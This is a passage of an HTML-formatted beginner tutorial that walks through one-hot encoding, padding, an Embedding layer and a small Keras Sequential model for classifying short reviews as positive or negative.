&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;one_hot_x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here an output;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With just one line of code of list comprehension, we were able to have a numerical representation of our text datasets.&lt;/p&gt;

&lt;h2&gt;
  
  
  Data Engineering - Padding
&lt;/h2&gt;

&lt;p&gt;If you look carefully you will notice it resulted in arrays of different sizes this is due to varying lengths of individual training data.&lt;/p&gt;

&lt;p&gt;That's not good, we need to ensure our training data items have an equal length to be able to train it that's why need to do padding to normalize it to a certain standard length.&lt;/p&gt;

&lt;p&gt;what padding will do is extend arrays with length lower than standard length to equal it by appending 0s and removes extra element to those with exceeding length;&lt;/p&gt;

&lt;p&gt;Now with the nature of our dataset, lets setting our standard length(max_len) to be four(4) for our training data, Here is how you put that into code,&lt;/p&gt;

&lt;p&gt;&lt;em&gt;maxlen&lt;/em&gt; is a parameter for the standard length, and let set it accordingly;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="n"&gt;data_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
 &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;good&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;well done&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;nice&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Excellent&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Bad&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OOps I hate it deadly&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;embrassing&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A piece of shit&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;label_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="c1"&gt;# one hot encoding 
&lt;/span&gt;
&lt;span class="n"&gt;one_hot_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;preprocessing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;one_hot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data_x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# padding 
&lt;/span&gt;
&lt;span class="n"&gt;padded_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;preprocessing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sequence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pad_sequences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;one_hot_x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;maxlen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;post&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;padded_x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your output is going to look like this;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nf"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],[&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],[&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt; &lt;span class="n"&gt;dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;int32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As we can see now our training data is engineered now it is ready for training;&lt;/p&gt;

&lt;h2&gt;
  
  
  Building a Model
&lt;/h2&gt;

&lt;p&gt;I'm assuming have TensorFlow basics and you are familiar with sequential models, everything is going to be as normal with an Exception of an Embedding Layer;&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Embedding Layer?
&lt;/h3&gt;

&lt;p&gt;The data we have engineered is just arrays of numbers and doesn't and it can be had to relate how one is similar to the other one by comparing numbers that's why we need to have an Embedding layer which helps to turn those number into something more meaningful by turning them into dense vectors of fixed size which we can compute its relations;&lt;/p&gt;

&lt;p&gt;The embedding layer receives main three parameters &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;input_dim (summation of unique words in your corpus)&lt;/li&gt;
&lt;li&gt;output_dim (size of corresponding dense vectors)&lt;/li&gt;
&lt;li&gt;input_length (standard length of input data)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here an Example;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;sample_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt; &lt;span class="n"&gt;dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;int32&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;emb_layer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Embedding&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;emb_layer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sample_data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here how your output will look like;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Tensor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="p"&gt;[[[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0.04779602&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0.01631527&lt;/span&gt;  &lt;span class="mf"&gt;0.01087242&lt;/span&gt;  &lt;span class="mf"&gt;0.00247218&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
 &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0.03402965&lt;/span&gt;  &lt;span class="mf"&gt;0.02020274&lt;/span&gt;  &lt;span class="mf"&gt;0.02596027&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0.00916996&lt;/span&gt;&lt;span class="p"&gt;]]],&lt;/span&gt; &lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;float32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now instead of having a bunch of meaningless 0s, we can have a vector representation like this for our data and that's what the embedding layer does now let's put it into our project;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Sequential&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Embedding&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Flatten&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Dense&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;activation&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sigmoid&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;])&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Above is the complete architecture of our text classification Model with the addition of Flatten() which just reduce higher-dimensional tensor vectors into 2D, and the last Dense layer which is the deciding node for our classification model which will have a final say whether a review is positive or negative&lt;/p&gt;

&lt;p&gt;Now that we have initialized our model, we finalize configuring by specifying an optimizer algorithm to be used and category of loss to be calculated during and optimizations;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;optimizer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;adam&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;loss&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;binary_crossentropy&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="n"&gt;metrics&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;accuracy&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;summary&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Output
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Model: &lt;span class="s2"&gt;"sequential"&lt;/span&gt;
_________________________________________________________________
Layer &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;                 Output Shape              Param &lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="o"&gt;=================================================================&lt;/span&gt;
embedding &lt;span class="o"&gt;(&lt;/span&gt;Embedding&lt;span class="o"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;(&lt;/span&gt;None, 4, 8&lt;span class="o"&gt;)&lt;/span&gt;              400
_________________________________________________________________
flatten &lt;span class="o"&gt;(&lt;/span&gt;Flatten&lt;span class="o"&gt;)&lt;/span&gt;            &lt;span class="o"&gt;(&lt;/span&gt;None, 32&lt;span class="o"&gt;)&lt;/span&gt;                0
_________________________________________________________________
dense &lt;span class="o"&gt;(&lt;/span&gt;Dense&lt;span class="o"&gt;)&lt;/span&gt;                &lt;span class="o"&gt;(&lt;/span&gt;None, 1&lt;span class="o"&gt;)&lt;/span&gt;                 33
&lt;span class="o"&gt;=================================================================&lt;/span&gt;
Total params: 433
Trainable params: 433
Non-trainable params: 0
_________________________________________________________________
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Training model
&lt;/h2&gt;

&lt;p&gt;Now after once we finish configuring our model we can begin training our model, Since our data is only short we don't usually need many epochs to train it but let's fit with 1000 epochs and visualizing the learning curve&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tensorflow&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;matplotlib.pyplot&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;plt&lt;/span&gt;

&lt;span class="n"&gt;data_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
 &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;good&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;well done&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;nice&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Excellent&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Bad&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OOps I hate it deadly&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;embrassing&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A piece of shit&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;label_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="c1"&gt;# one hot encoding 
&lt;/span&gt;
&lt;span class="n"&gt;one_hot_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;preprocessing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;one_hot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data_x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# padding 
&lt;/span&gt;
